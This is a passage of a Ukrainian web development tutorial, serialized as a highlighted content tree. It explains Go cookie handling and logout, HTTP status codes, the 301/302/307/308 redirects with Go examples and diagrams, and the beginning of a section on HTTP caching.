систему.\"",[5557,9278,5305],{"class":5585},[5557,9280,8928],{"class":5654},[5557,9282,5268],{"class":5585},[5557,9284,9285],{"class":5654},"StatusUnauthorized",[5557,9287,5623],{"class":5585},[5557,9289,9290],{"class":5559,"line":5608},[5557,9291,6331],{"class":5581},[5557,9293,9294],{"class":5559,"line":5614},[5557,9295,5884],{"class":5585},[5557,9297,9298,9301,9303,9305,9307,9309,9311,9314,9316,9318,9320,9323],{"class":5559,"line":5620},[5557,9299,9300],{"class":5654},"        http",[5557,9302,5268],{"class":5585},[5557,9304,9267],{"class":5637},[5557,9306,5673],{"class":5585},[5557,9308,8909],{"class":5654},[5557,9310,5305],{"class":5585},[5557,9312,9313],{"class":5592},"\"Помилка читання cookie\"",[5557,9315,5305],{"class":5585},[5557,9317,8928],{"class":5654},[5557,9319,5268],{"class":5585},[5557,9321,9322],{"class":5654},"StatusInternalServerError",[5557,9324,5623],{"class":5585},[5557,9326,9327],{"class":5559,"line":5626},[5557,9328,6076],{"class":5581},[5557,9330,9331],{"class":5559,"line":5631},[5557,9332,5735],{"class":5585},[5557,9334,9335],{"class":5559,"line":5644},[5557,9336,5575],{"emptyLinePlaceholder":5574},[5557,9338,9339,9341,9343,9345,9347],{"class":5559,"line":5651},[5557,9340,8945],{"class":5654},[5557,9342,5663],{"class":5585},[5557,9344,8804],{"class":5654},[5557,9346,5268],{"class":5585},[5557,9348,9349],{"class":5654},"Value\n",[5557,9351,9352],{"class":5559,"line":5686},[5557,9353,5575],{"emptyLinePlaceholder":5574},[5557,9355,9356],{"class":5559,"line":5704},[5557,9357,9358],{"class":5647},"    \u002F\u002F Перевірка валідності сесії (у реальності — запит до Redis\u002Fбази даних)\n",[5557,9360,9361,9363,9366,9369,9371,9373],{"class":5559,"line":5732},[5557,9362,5689],{"class":5581},[5557,9364,9365],{"class":5585}," !",[5557,9367,9368],{"class":5637},"isValidSession",[5557,9370,5673],{"class":5585},[5557,9372,9005],{"class":5654},[5557,9374,5949],{"class":5585},[5557,9376,9377,9379,9381,9383,9385,9387,9389,9392,9394,9396,9398,9400],{"class":5559,"line":5738},[5557,9378,9300],{"class":5654},[5557,9380,5268],{"class":5585},[5557,9382,9267],{"class":5637},[5557,9384,5673],{"class":5585},[5557,9386,8909],{"class":5654},[5557,9388,5305],{"class":5585},[5557,9390,9391],{"class":5592},"\"Невалідна або прострочена сесія\"",[5557,9393,5305],{"class":5585},[5557,9395,8928],{"class":5654},[5557,9397,5268],{"class":5585},[5557,9399,9285],{"class":5654},[5557,9401,5623],{"class":5585},[5557,9403,9404],{"class":5559,"line":5755},[5557,9405,6076],{"class":5581},[5557,9407,9408],{"class":5559,"line":5760},[5557,9409,5735],{"class":5585},[5557,9411,9412],{"class":5559,"line":5778},[5557,9413,5575],{"emptyLinePlaceholder":5574},[5557,9415,9416,9418,9420,9422,9424,9426,9428,9431,9433,9435,9437,9439],{"class":5559,"line":5794},[5557,9417,5763],{"class":5654},[5557,9419,5268],{"class":5585},[5557,9421,9146],{"class":5637},[5557,9423,5673],{"class":5585},[5557,9425,8909],{"class":5654},[5557,9427,5305],{"class":5585},[5557,9429,9430],{"class":5592},"\"Вітаємо! Ваша сесія: ",[5557,9432,6238],{"class":5654},[5557,9434,5723],{"class":5592},[5557,9436,5305],{"class":5585},[5557,9438,9005],{"class":5654},[5557,9440,5623],{"class":5585},[5557,9442,9443],{"class":5559,"line":5799},[5557,9444,5922],{"class":5585},[7759,9446,9448],{"id":9447},"видалення-cookie","Видалення cookie",[5348,9450,9451],{},"Щоб видалити cookie, встановіть його з терміном дії у минулому:",[5464,9453,9455],{"className":5550,"code":9454,"language":5553,"meta":5472,"style":5472},"func logoutHandler(w http.ResponseWriter, r *http.Request) {\n    cookie := &http.Cookie{\n        Name:     \"session_id\",\n        Value:    \"\",\n        Path:     \"\u002F\",\n        MaxAge:   -1, \u002F\u002F Негативне значення видаляє cookie\n        HttpOnly: true,\n    }\n\n    http.SetCookie(w, cookie)\n\n    fmt.Fprintf(w, \"Ви вийшли з системи. Cookie видалено.\")\n}\n",[5236,9456,9457,9488,9502,9512,9523,9533,9547,9557,9561,9565,9583,9587,9606],{"__ignoreMap":5472},[5557,9458,9459,9461,9464,9466,9468,9470,9472,9474,9476,9478,9480,9482,9484,9486],{"class":5559,"line":5560},[5557,9460,5634],{"class":5563},[5557,9462,9463],{"class":5637}," logoutHandler",[5557,9465,5673],{"class":5585},[5557,9467,8909],{"class":5654},[5557,9469,8912],{"class":5567},[5557,9471,5268],{"class":5585},[5557,9473,8917],{"class":5567},[5557,9475,5305],{"class":5585},[5557,9477,8922],{"class":5654},[5557,9479,8925],{"class":5585},[5557,9481,8928],{"class":5567},[5557,9483,5268],{"class":5585},[5557,9485,8933],{"class":5567},[5557,9487,5949],{"class":5585},[5557,9489,9490,9492,9494,9496,9498,9500],{"class":5559,"line":5571},[5557,9491,8970],{"class":5654},[5557,9493,8973],{"class":5585},[5557,9495,8928],{"class":5567},[5557,9497,5268],{"class":5585},[5557,9499,7339],{"class":5567},[5557,9501,6695],{"class":5585},[5557,9503,9504,9506,9508,9510],{"class":5559,"line":5578},[5557,9505,8986],{"class":5654},[5557,9507,8989],{"class":5585},[5557,9509,8992],{"class":5592},[5557,9511,6710],{"class":5585},[5557,9513,9514,9516,9518,9521],{"class":5559,"line":5589},[5557,9515,8999],{"class":5654},[5557,9517,9002],{"class":5585},[5557,9519,9520],{"class":5592},"\"\"",[5557,9522,6710],{"class":5585},[5557,9524,9525,9527,9529,9531],{"class":5559,"line":5596},[5557,9526,9012],{"class":5654},[5557,9528,8989],{"class":5585},[5557,9530,9017],{"class":5592},[5557,9532,6710],{"class":5585},[5557,9534,9535,9537,9540,9542,9544],{"class":5559,"line":5602},[5557,9536,9024],{"class":5654},[5557,9538,9539],{"class":5585},":   -",[5557,9541,6213],{"class":6134},[5557,9543,5305],{"class":5585},[5557,9545,9546],{"class":5647},"\u002F\u002F Негативне значення видаляє cookie\n",[5557,9548,9549,9551,9553,9555],{"class":5559,"line":5608},[5557,9550,9041],{"class":5654},[5557,9552,6704],{"class":5585},[5557,9554,9046],{"class":5563},[5557,9556,6710],{"class":5585},[5557,9558,9559],{"class":5559,"line":5614},[5557,9560,5735],{"class":5585},[5557,9562,9563],{"class":5559,"line":5620},[5557,9564,5575],{"emptyLinePlaceholder":5574},[5557,9566,9567,9569,9571,9573,9575,9577,9579,9581],{"class":5559,"line":5626},[5557,9568,9097],{"class":5654},[5557,9570,5268],{"class":5585},[5557,9572,9102],{"class":5637},[5557,9574,5673],{"class":5585},[5557,9576,8909],{"class":5654},[5557,9578,5305],{"class":5585},[5557,9580,8804],{"class":5654},[5557,9582,5623],{"class":5585},[5557,9584,9585],{"class":5559,"line":5631},[5557,9586,5575],{"emptyLinePlaceholder":5574},[5557,9588,9589,9591,9593,9595,9597,9599,9601,9604],{"class":5559,"line":5644},[5557,9590,5763],{"class":5654},[5557,9592,5268],{"class":5585},[5557,9594,9146],{"class":5637},[5557,9596,5673],{"class":5585},[5557,9598,8909],{"class":5654},[5557,9600,5305],{"class":5585},[5557,9602,9603],{"class":5592},"\"Ви вийшли з системи. Cookie видалено.\"",[5557,9605,5623],{"class":5585},[5557,9607,9608],{"class":5559,"line":5651},[5557,9609,5922],{"class":5585},[7098,9611,9612,9615,9616,9618,9619,9621,9622,9625],{},[5205,9613,9614],{},"Чому не зберігати чутливі дані в cookies:"," Куки передаються з кожним запитом, збільшуючи розмір трафіку. Крім того, навіть з атрибутом ",[5236,9617,8663],{},", куки можуть бути викрадені через вразливості мережі (якщо відсутній ",[5236,9620,8649],{},") або через атаки на рівні браузера. ",[5205,9623,9624],{},"Ніколи не зберігайте паролі, номери кредитних карток або інші критичні дані в cookies",". Використовуйте їх лише для ідентифікаторів сесій, а самі дані зберігайте на сервері (Redis, база даних).",[5340,9627],{},[5343,9629,9631],{"id":9630},"статус-коди-http-мова-спілкування-між-клієнтом-та-сервером","Статус-коди HTTP: мова спілкування між клієнтом та сервером",[5348,9633,9634,9635,5226,9638,9641],{},"Кожна HTTP-відповідь починається зі ",[5205,9636,9637],{},"статус-коду",[5228,9639,9640],{},"status code",") — тризначного числа, яке інформує клієнта про результат обробки запиту. Статус-коди згруповані в п'ять класів:",[7167,9643,9645],{"id":9644},"_1xx-інформаційні-повідомлення","1xx: Інформаційні повідомлення",[5348,9647,9648],{},"Використовуються рідко, сигналізують про проміжний стан обробки.",[5198,9650,9651,9661],{},[5201,9652,9653,9656,9657,9660],{},[5205,9654,9655],{},"100 Continue:"," сервер готовий прийняти тіло запиту (використовується, коли клієнт спочатку відправляє заголовки з ",[5236,9658,9659],{},"Expect: 100-continue",", щоб з'ясувати, чи варто відправляти велике тіло).",[5201,9662,9663,9666],{},[5205,9664,9665],{},"101 Switching Protocols:"," сервер приймає запит на зміну протоколу (наприклад, апгрейд з HTTP на WebSocket).",[7167,9668,9670],{"id":9669},"_2xx-успішна-обробка","2xx: Успішна обробка",[5198,9672,9673,9679,9688],{},[5201,9674,9675,9678],{},[5205,9676,9677],{},"200 OK:"," запит успішно оброблено, тіло містить запитані дані (використовується з GET, PUT, PATCH).",[5201,9680,9681,9684,9685,9687],{},[5205,9682,9683],{},"201 Created:"," ресурс успішно створено (POST). Рекомендовано повертати заголовок ",[5236,9686,8302],{}," з URL нового ресурсу.",[5201,9689,9690,9693],{},[5205,9691,9692],{},"204 No Content:"," запит успішно оброблено, але немає тіла відповіді (часто використовується з DELETE або PUT, коли не потрібно повертати дані).",[7167,9695,9697],{"id":9696},"_3xx-редирект","3xx: Редирект",[5198,9699,9700,9708,9714],{},[5201,9701,9702,9705,9706,5268],{},[5205,9703,9704],{},"301 Moved Permanently:"," ресурс переміщено на нову адресу назавжди. Клієнт повинен використовувати нову адресу з заголовка ",[5236,9707,8302],{},[5201,9709,9710,9713],{},[5205,9711,9712],{},"302 Found \u002F 307 Temporary Redirect:"," тимчасовий редирект. Клієнт повинен використовувати оригінальний URL для наступних запитів.",[5201,9715,9716,9719,9720,8686,9722,7121],{},[5205,9717,9718],{},"304 Not Modified:"," ресурс не змінився з моменту попереднього запиту (використовується для кешування з заголовками ",[5236,9721,7284],{},[5236,9723,7281],{},[7759,9725,9727],{"id":9726},"детальний-розбір-редиректів-коли-використовувати-301-302-307-308","Детальний розбір редиректів: коли використовувати 301, 302, 307, 308",[5348,9729,9730],{},"HTTP-редиректи часто викликають плутанину, оскільки існує кілька статус-кодів зі схожою семантикою. Розглянемо детально різницю між ними та сценарії застосування.",[5348,9732,9733],{},[5205,9734,9735],{},"301 Moved Permanently (постійний редирект):",[5198,9737,9738,9745,9752,9758],{},[5201,9739,9740,9741,9744],{},"Ресурс ",[5205,9742,9743],{},"назавжди"," переміщено на нову адресу.",[5201,9746,9747,9748,9751],{},"Браузери та пошукові системи (Google, Bing) ",[5205,9749,9750],{},"оновлюють закладки та індекси"," на нову адресу.",[5201,9753,9754,9757],{},[5205,9755,9756],{},"Зміна методу:"," Історично, багато браузерів змінювали POST-запит на GET при редиректі (нестандартна поведінка, але вона закріпилася).",[5201,9759,9760,9763,9764,9767,9768,9771],{},[5205,9761,9762],{},"Використання:"," зміна доменного імені (",[5236,9765,9766],{},"example.com"," → ",[5236,9769,9770],{},"newexample.com","), перехід з HTTP на HTTPS назавжди, зміна структури URL.",[5348,9773,9774],{},[5205,9775,9776],{},"Приклад:",[5464,9778,9781],{"className":9779,"code":9780,"language":5469},[5467],"HTTP\u002F1.1 301 Moved Permanently\nLocation: https:\u002F\u002Fnewdomain.com\u002Fresource\n",[5236,9782,9780],{"__ignoreMap":5472},[5348,9784,9785],{},[5205,9786,9787],{},"302 Found (тимчасовий редирект, застарілий):",[5198,9789,9790,9796,9802,9807],{},[5201,9791,9740,9792,9795],{},[5205,9793,9794],{},"тимчасово"," доступний за іншою адресою.",[5201,9797,9798,9799,5268],{},"Пошукові системи ",[5205,9800,9801],{},"не змінюють індекси",[5201,9803,9804,9806],{},[5205,9805,9756],{}," Так само, як і 301, історично POST міг перетворюватися на GET.",[5201,9808,9809,9812],{},[5205,9810,9811],{},"Проблема:"," Специфікація RFC 1945 не визначала чітко поведінку методу, що призвело до несумісності між реалізаціями.",[5348,9814,9815],{},[5205,9816,9817],{},"307 Temporary Redirect (тимчасовий редирект з гарантією збереження методу):",[5198,9819,9820,9826,9829],{},[5201,9821,9822,9823,5268],{},"Аналогічно до 302, але ",[5205,9824,9825],{},"метод запиту та тіло мають бути збережені",[5201,9827,9828],{},"Якщо клієнт відправив POST, редирект має бути POST із тим самим тілом.",[5201,9830,9831,9833],{},[5205,9832,9762],{}," тимчасове перенаправлення трафіку на резервний сервер, перенаправлення на сторінку обслуговування, A\u002FB-тестування.",[5348,9835,9836],{},[5205,9837,9838],{},"308 Permanent Redirect (постійний редирект з гарантією збереження методу):",[5198,9840,9841,9846],{},[5201,9842,9843,9844,5268],{},"Аналогічно до 301, але ",[5205,9845,9825],{},[5201,9847,9848,9850],{},[5205,9849,9762],{}," постійне перенаправлення API-ендпоінтів без зміни методу (наприклад, POST завжди залишається POST).",[7425,9852,9854],{"alt":9853},"Порівняння HTTP редиректів",[5464,9855,9857],{"className":7430,"code":9856,"language":7432,"meta":5472,"style":5472},"@startuml\nskinparam style plain\nskinparam backgroundColor #FFFFFF\n\npackage \"Постійні редиректи\" #DCFCE7 {\n    card \"301 Moved Permanently\" as C301 #FEF3C7\n    note right of C301\n        • Назавжди\n        • Може змінити POST → GET\n        • Пошукові системи оновлять індекс\n    end note\n\n    card \"308 Permanent Redirect\" as C308 #FEF3C7\n    note right of C308\n        • Назавжди\n        • Метод гарантовано зберігається\n        • Для RESTful API\n    end note\n}\n\npackage \"Тимчасові редиректи\" #DBEAFE {\n    card \"302 Found\" as C302 #FEE2E2\n    note right of C302\n        • Тимчасово\n        • Може змінити POST → GET\n        • Застарілий, не рекомендується\n    end note\n\n    card \"307 Temporary Redirect\" as C307 #E0E7FF\n    note right of C307\n        • Тимчасово\n        • Метод гарантовано зберігається\n        • Рекомендований\n    end note\n}\n\n@enduml\n",[5236,9858,9859,9863,9867,9871,9875,9880,9885,9890,9895,9900,9905,9909,9913,9918,9923,9927,9932,9937,9941,9945,9949,9954,9959,9964,9969,9973,9978,9982,9986,9991,9996,10000,10004,10009,10013,10017,10021],{"__ignoreMap":5472},[5557,9860,9861],{"class":5559,"line":5560},[5557,9862,7439],{},[5557,9864,9865],{"class":5559,"line":5571},[5557,9866,7444],{},[5557,9868,9869],{"class":5559,"line":5578},[5557,9870,7449],{},[5557,9872,9873],{"class":5559,"line":5589},[5557,9874,5575],{"emptyLinePlaceholder":5574},[5557,9876,9877],{"class":5559,"line":5596},[5557,9878,9879],{},"package \"Постійні редиректи\" #DCFCE7 {\n",[5557,9881,9882],{"class":5559,"line":5602},[5557,9883,9884],{},"    card \"301 Moved Permanently\" as C301 #FEF3C7\n",[5557,9886,9887],{"class":5559,"line":5608},[5557,9888,9889],{},"    note right of C301\n",[5557,9891,9892],{"class":5559,"line":5614},[5557,9893,9894],{},"        • Назавжди\n",[5557,9896,9897],{"class":5559,"line":5620},[5557,9898,9899],{},"        • Може змінити POST → GET\n",[5557,9901,9902],{"class":5559,"line":5626},[5557,9903,9904],{},"        • Пошукові системи оновлять індекс\n",[5557,9906,9907],{"class":5559,"line":5631},[5557,9908,7483],{},[5557,9910,9911],{"class":5559,"line":5644},[5557,9912,5575],{"emptyLinePlaceholder":5574},[5557,9914,9915],{"class":5559,"line":5651},[5557,9916,9917],{},"    card \"308 Permanent Redirect\" as C308 #FEF3C7\n",[5557,9919,9920],{"class":5559,"line":5686},[5557,9921,9922],{},"    note right of C308\n",[5557,9924,9925],{"class":5559,"line":5704},[5557,9926,9894],{},[5557,9928,9929],{"class":5559,"line":5732},[5557,9930,9931],{},"        • Метод гарантовано зберігається\n",[5557,9933,9934],{"class":5559,"line":5738},[5557,9935,9936],{},"        • Для RESTful API\n",[5557,9938,9939],{"class":5559,"line":5755},[5557,9940,7483],{},[5557,9942,9943],{"class":5559,"line":5760},[5557,9944,5922],{},[5557,9946,9947],{"class":5559,"line":5778},[5557,9948,5575],{"emptyLinePlaceholder":5574},[5557,9950,9951],{"class":5559,"line":5794},[5557,9952,9953],{},"package \"Тимчасові редиректи\" #DBEAFE {\n",[5557,9955,9956],{"class":5559,"line":5799},[5557,9957,9958],{},"    card \"302 Found\" as C302 #FEE2E2\n",[5557,9960,9961],{"class":5559,"line":5807},[5557,9962,9963],{},"    note right of C302\n",[5557,9965,9966],{"class":5559,"line":5813},[5557,9967,9968],{},"        • Тимчасово\n",[5557,9970,9971],{"class":5559,"line":5835},[5557,9972,9899],{},[5557,9974,9975],{"class":5559,"line":5849},[5557,9976,9977],{},"        • Застарілий, не рекомендується\n",[5557,9979,9980],{"class":5559,"line":5875},[5557,9981,7483],{},[5557,9983,9984],{"class":5559,"line":5881},[5557,9985,5575],{"emptyLinePlaceholder":5574},[5557,9987,9988],{"class":5559,"line":5887},[5557,9989,9990],{},"    card \"307 Temporary Redirect\" as C307 #E0E7FF\n",[5557,9992,9993],{"class":5559,"line":5892},[5557,9994,9995],{},"    note right of C307\n",[5557,9997,9998],{"class":5559,"line":5898},[5557,9999,9968],{},[5557,10001,10002],{"class":5559,"line":5914},[5557,10003,9931],{},[5557,10005,10006],{"class":5559,"line":5919},[5557,10007,10008],{},"        • Рекомендований\n",[5557,10010,10011],{"class":5559,"line":5925},[5557,10012,7483],{},[5557,10014,10015],{"class":5559,"line":5930},[5557,10016,5922],{},[5557,10018,10019],{"class":5559,"line":5952},[5557,10020,5575],{"emptyLinePlaceholder":5574},[5557,10022,10023],{"class":5559,"line":5966},[5557,10024,7632],{},[5348,10026,10027],{},[5205,10028,10029],{},"Приклад постійного редиректу з HTTP на HTTPS у Go:",[5464,10031,10033],{"className":5550,"code":10032,"language":5553,"meta":5472,"style":5472},"func redirectToHTTPS(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Формуємо нову HTTPS-адресу\n    target := \"https:\u002F\u002F\" + r.Host + r.URL.Path\n    if r.URL.RawQuery != \"\" {\n        target += \"?\" + r.URL.RawQuery\n    }\n\n    \u002F\u002F Постійний редирект (301)\n    http.Redirect(w, r, target, http.StatusMovedPermanently)\n}\n",[5236,10034,10035,10066,10071,10103,10125,10148,10152,10156,10161,10194],{"__ignoreMap":5472},[5557,10036,10037,10039,10042,10044,10046,10048,10050,10052,10054,10056,10058,10060,10062,10064],{"class":5559,"line":5560},[5557,10038,5634],{"class":5563},[5557,10040,10041],{"class":5637}," redirectToHTTPS",[5557,10043,5673],{"class":5585},[5557,10045,8909],{"class":5654},[5557,10047,8912],{"class":5567},[5557,10049,5268],{"class":5585},[5557,10051,8917],{"class":5567},[5557,10053,5305],{"class":5585},[5557,10055,8922],{"class":5654},[5557,10057,8925],{"class":5585},[5557,10059,8928],{"class":5567},[5557,10061,5268],{"class":5585},[5557,10063,8933],{"class":5567},[5557,10065,5949],{"class":5585},[5557,10067,10068],{"class":5559,"line":5571},[5557,10069,10070],{"class":5647},"    \u002F\u002F Формуємо нову HTTPS-адресу\n",[5557,10072,10073,10076,10078,10081,10083,10085,10087,10089,10091,10093,10095,10098,10100],{"class":5559,"line":5578},[5557,10074,10075],{"class":5654},"    target",[5557,10077,5663],{"class":5585},[5557,10079,10080],{"class":5592},"\"https:\u002F\u002F\"",[5557,10082,8796],{"class":5585},[5557,10084,8922],{"class":5654},[5557,10086,5268],{"class":5585},[5557,10088,5518],{"class":5654},[5557,10090,8796],{"class":5585},[5557,10092,8922],{"class":5654},[5557,10094,5268],{"class":5585},[5557,10096,10097],{"class":5654},"URL",[5557,10099,5268],{"class":5585},[5557,10101,10102],{"class":5654},"Path\n",[5557,10104,10105,10107,10110,10112,10114,10116,10119,10121,10123],{"class":5559,"line":5589},[5557,10106,5689],{"class":5581},[5557,10108,10109],{"class":5654}," r",[5557,10111,5268],{"class":5585},[5557,10113,10097],{"class":5654},[5557,10115,5268],{"class":5585},[5557,10117,10118],{"class":5654},"RawQuery",[5557,10120,5695],{"class":5585},[5557,10122,9520],{"class":5592},[5557,10124,5701],{"class":5585},[5557,10126,10127,10130,10132,10135,10137,10139,10141,10143,10145],{"class":5559,"line":5596},[5557,10128,10129],{"class":5654},"        target",[5557,10131,6819],{"class":5585},[5557,10133,10134],{"class":5592},"\"?\"",[5557,10136,8796],{"class":5585},[5557,10138,8922],{"class":5654},[5557,10140,5268],{"class":5585},[5557,10142,10097],{"class":5654},[5557,10144,5268],{"class":5585},[5557,10146,10147],{"class":5654},"RawQuery\n",[5557,10149,10150],{"class":5559,"line":5602},[5557,10151,5735],{"class":5585},[5557,10153,10154],{"class":5559,"line":5608},[5557,10155,5575],{"emptyLinePlaceholder":5574},[5557,10157,10158],{"class":5559,"line":5614},[5557,10159,10160],{"class":5647},"    \u002F\u002F Постійний редирект (301)\n",[5557,10162,10163,10165,10167,10170,10172,10174,10176,10178,10180,10183,10185,10187,10189,10192],{"class":5559,"line":5620},[5557,10164,9097],{"class":5654},[5557,10166,5268],{"class":5585},[5557,10168,10169],{"class":5637},"Redirect",[5557,10171,5673],{"class":5585},[5557,10173,8909],{"class":5654},[5557,10175,5305],{"class":5585},[5557,10177,8922],{"class":5654},[5557,10179,5305],{"class":5585},[5557,10181,10182],{"class":5654},"target",[5557,10184,5305],{"class":5585},[5557,10186,8928],{"class":5654},[5557,10188,5268],{"class":5585},[5557,10190,10191],{"class":5654},"StatusMovedPermanently",[5557,10193,5623],{"class":5585},[5557,10195,10196],{"class":5559,"line":5626},[5557,10197,5922],{"class":5585},[5348,10199,10200],{},[5205,10201,10202],{},"Приклад тимчасового редиректу з збереженням методу (307):",[5464,10204,10206],{"className":5550,"code":10205,"language":5553,"meta":5472,"style":5472},"func maintenanceRedirect(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Тимчасове перенаправлення на сторінку обслуговування\n    http.Redirect(w, r, \"\u002Fmaintenance\", http.StatusTemporaryRedirect) \u002F\u002F 307\n}\n",[5236,10207,10208,10239,10244,10280],{"__ignoreMap":5472},[5557,10209,10210,10212,10215,10217,10219,10221,10223,10225,10227,10229,10231,10233,10235,10237],{"class":5559,"line":5560},[5557,10211,5634],{"class":5563},[5557,10213,10214],{"class":5637}," maintenanceRedirect",[5557,10216,5673],{"class":5585},[5557,10218,8909],{"class":5654},[5557,10220,8912],{"class":5567},[5557,10222,5268],{"class":5585},[5557,10224,8917],{"class":5567},[5557,10226,5305],{"class":5585},[5557,10228,8922],{"class":5654},[5557,10230,8925],{"class":5585},[5557,10232,8928],{"class":5567},[5557,10234,5268],{"class":5585},[5557,10236,8933],{"class":5567},[5557,10238,5949],{"class":5585},[5557,10240,10241],{"class":5559,"line":5571},[5557,10242,10243],{"class":5647},"    \u002F\u002F Тимчасове перенаправлення на сторінку обслуговування\n",[5557,10245,10246,10248,10250,10252,10254,10256,10258,10260,10262,10265,10267,10269,10271,10274,10277],{"class":5559,"line":5578},[5557,10247,9097],{"class":5654},[5557,10249,5268],{"class":5585},[5557,10251,10169],{"class":5637},[5557,10253,5673],{"class":5585},[5557,10255,8909],{"class":5654},[5557,10257,5305],{"class":5585},[5557,10259,8922],{"class":5654},[5557,10261,5305],{"class":5585},[5557,10263,10264],{"class":5592},"\"\u002Fmaintenance\"",[5557,10266,5305],{"class":5585},[5557,10268,8928],{"class":5654},[5557,10270,5268],{"class":5585},[5557,10272,10273],{"class":5654},"StatusTemporaryRedirect",[5557,10275,10276],{"class":5585},") ",[5557,10278,10279],{"class":5647},"\u002F\u002F 307\n",[5557,10281,10282],{"class":5559,"line":5589},[5557,10283,5922],{"class":5585},[10285,10286,10287,10290,10291,10294],"caution",{},[5205,10288,10289],{},"Обережно з ланцюжками редиректів:"," Кожен редирект додає додатковий HTTP-запит та RTT (затримку мережі). Якщо ланцюжок містить 5 редиректів, клієнт виконає 6 HTTP-запитів, що може значно уповільнити завантаження. Більшість браузерів обмежують максимальну кількість редиректів (зазвичай 20), після чого припиняють обробку і повертають помилку. ",[5205,10292,10293],{},"Уникайте непотрібних редиректів"," і завжди тестуйте повний шлях користувача.",[7167,10296,10298],{"id":10297},"_4xx-помилка-клієнта","4xx: Помилка клієнта",[5198,10300,10301,10307,10315,10321,10327,10333,10339,10345],{},[5201,10302,10303,10306],{},[5205,10304,10305],{},"400 Bad Request:"," некоректний синтаксис запиту (наприклад, невалідний JSON).",[5201,10308,10309,10312,10313,5268],{},[5205,10310,10311],{},"401 Unauthorized:"," відсутня або невалідна автентифікація. Клієнт повинен надати заголовок ",[5236,10314,8155],{},[5201,10316,10317,10320],{},[5205,10318,10319],{},"403 Forbidden:"," автентифікація пройшла успішно, але клієнт не має прав доступу до ресурсу.",[5201,10322,10323,10326],{},[5205,10324,10325],{},"404 Not Found:"," ресурс не знайдено на сервері.",[5201,10328,10329,10332],{},[5205,10330,10331],{},"405 Method Not Allowed:"," HTTP-метод не підтримується для цього ресурсу (наприклад, POST на ендпоінт, який приймає лише GET).",[5201,10334,10335,10338],{},[5205,10336,10337],{},"409 Conflict:"," конфлікт стану (наприклад, спроба створити користувача з email, який вже існує).",[5201,10340,10341,10344],{},[5205,10342,10343],{},"422 Unprocessable Entity:"," синтаксично коректний запит, але семантично невалідний (наприклад, валідація полів не пройшла).",[5201,10346,10347,10350],{},[5205,10348,10349],{},"429 Too Many Requests:"," клієнт перевищив ліміт запитів (Rate Limiting).",[7167,10352,10354],{"id":10353},"_5xx-помилка-сервера","5xx: Помилка сервера",[5198,10356,10357,10363,10369,10375],{},[5201,10358,10359,10362],{},[5205,10360,10361],{},"500 Internal Server Error:"," загальна помилка сервера (наприклад, необроблене виключення в коді).",[5201,10364,10365,10368],{},[5205,10366,10367],{},"502 Bad Gateway:"," проксі-сервер отримав невалідну відповідь від вищестоящого сервера.",[5201,10370,10371,10374],{},[5205,10372,10373],{},"503 Service Unavailable:"," сервер тимчасово недоступний (наприклад, перевантаження або технічне обслуговування).",[5201,10376,10377,10380],{},[5205,10378,10379],{},"504 Gateway Timeout:"," проксі-сервер не отримав відповідь від вищестоящого сервера вчасно.",[8040,10382,10383,10386,10387,10390,10391,10394,10395,10398,10399,10402,10403,10406],{},[5205,10384,10385],{},"Правило вибору статус-коду:"," завжди обирайте ",[5205,10388,10389],{},"найточніший"," статус-код, який відповідає ситуації. Якщо клієнт надіслав невалідний JSON, поверніть ",[5205,10392,10393],{},"400 Bad Request",". Якщо JSON валідний, але поле ",[5236,10396,10397],{},"email"," не проходить валідацію формату, поверніть ",[5205,10400,10401],{},"422 Unprocessable Entity",". Якщо користувач намагається видалити чужий ресурс, поверніть ",[5205,10404,10405],{},"403 Forbidden",". Точні статус-коди дозволяють клієнту (Desktop, Mobile, Web) коректно реагувати на помилки.",[5340,10408],{},[5343,10410,10412],{"id":10411},"http-caching-оптимізація-швидкодії-через-кешування","HTTP Caching: оптимізація швидкодії через кешування",[5348,10414,10415,10416,5226,10419,10422],{},"Одна з найпотужніших можливостей HTTP — вбудована підтримка ",[5205,10417,10418],{},"кешування",[5228,10420,10421],{},"caching","). Правильно налаштоване кешування може радикально зменшити навантаження на сервер, знизити витрати на трафік та прискорити завантаження сторінок для користувачів.",[7167,10424,10426],{"id":10425},"як-працює-http-кешування","Як працює HTTP-кешування",[5348,10428,10429,10430,10433],{},"Коли браузер (або проксі-сервер, CDN) отримує відповідь від сервера, він може ",[5205,10431,10432],{},"зберегти копію"," ресурсу локально. При наступному запиті того самого ресурсу кеш перевіряє, чи він ще валідний. Якщо так, ресурс завантажується з локального кешу без звернення до сервера (або з мінімальним запитом для перевірки).",[7425,10435,10437],{"alt":10436},"HTTP Caching: перший та повторний запит",[5464,10438,10440],{"className":7430,"code":10439,"language":7432,"meta":5472,"style":5472},"@startuml\nskinparam style plain\nskinparam backgroundColor #FFFFFF\n\nactor \"Браузер\" as Client #DBEAFE\nparticipant \"Локальний кеш\" as Cache #E0E7FF\nparticipant \"Вебсервер\" as Server #FEF3C7\n\n== Перший запит (кеш порожній) ==\n\nClient -> Server : GET \u002Flogo.png\nServer -> Client : HTTP\u002F1.1 200 OK\\nCache-Control: max-age=86400\\nETag: \"abc123\"\\n[image data]\nClient -> Cache : Зберегти у кеш\\n(валідний 24 години)\n\n== Повторний запит (кеш валідний) ==\n\nClient -> Cache : GET \u002Flogo.png\nCache -> Client : 200 OK (з кешу)\\n[image data]\nnote right #DCFCE7\n  Запит до сервера НЕ відправлявся!\n  Швидкість завантаження мілісекунди.\nend note\n\n== Повторний запит (потрібна валідація) ==\n\nClient -> Server : GET \u002Flogo.png\\nIf-None-Match: \"abc123\"\nServer -> Client : HTTP\u002F1.1 304 Not Modified\nnote right #FEF3C7\n  Тіло НЕ передається.\n  Браузер використовує кешовану версію.\nend note\n@enduml\n",[5236,10441,10442,10446,10450,10454,10458,10462,10467,10471,10475,10480,10484,10489,10494,10499,10503,10508,10512,10517,10522,10527,10532,10537,10541,10545,10550,10554,10559,10564,10569,10574,10579,10583],{"__ignoreMap":5472},[5557,10443,10444],{"class":5559,"line":5560},[5557,10445,7439],{},[5557,10447,10448],{"class":5559,"line":5571},[5557,10449,7444],{},[5557,10451,10452],{"class":5559,"line":5578},[5557,10453,7449],{},[5557,10455,10456],{"class":5559,"line":5589},[5557,10457,5575],{"emptyLinePlaceholder":5574},[5557,10459,10460],{"class":5559,"line":5596},[5557,10461,8436],{},[5557,10463,10464],{"class":5559,"line":5602},[5557,10465,10466],{},"participant \"Локальний кеш\" as Cache 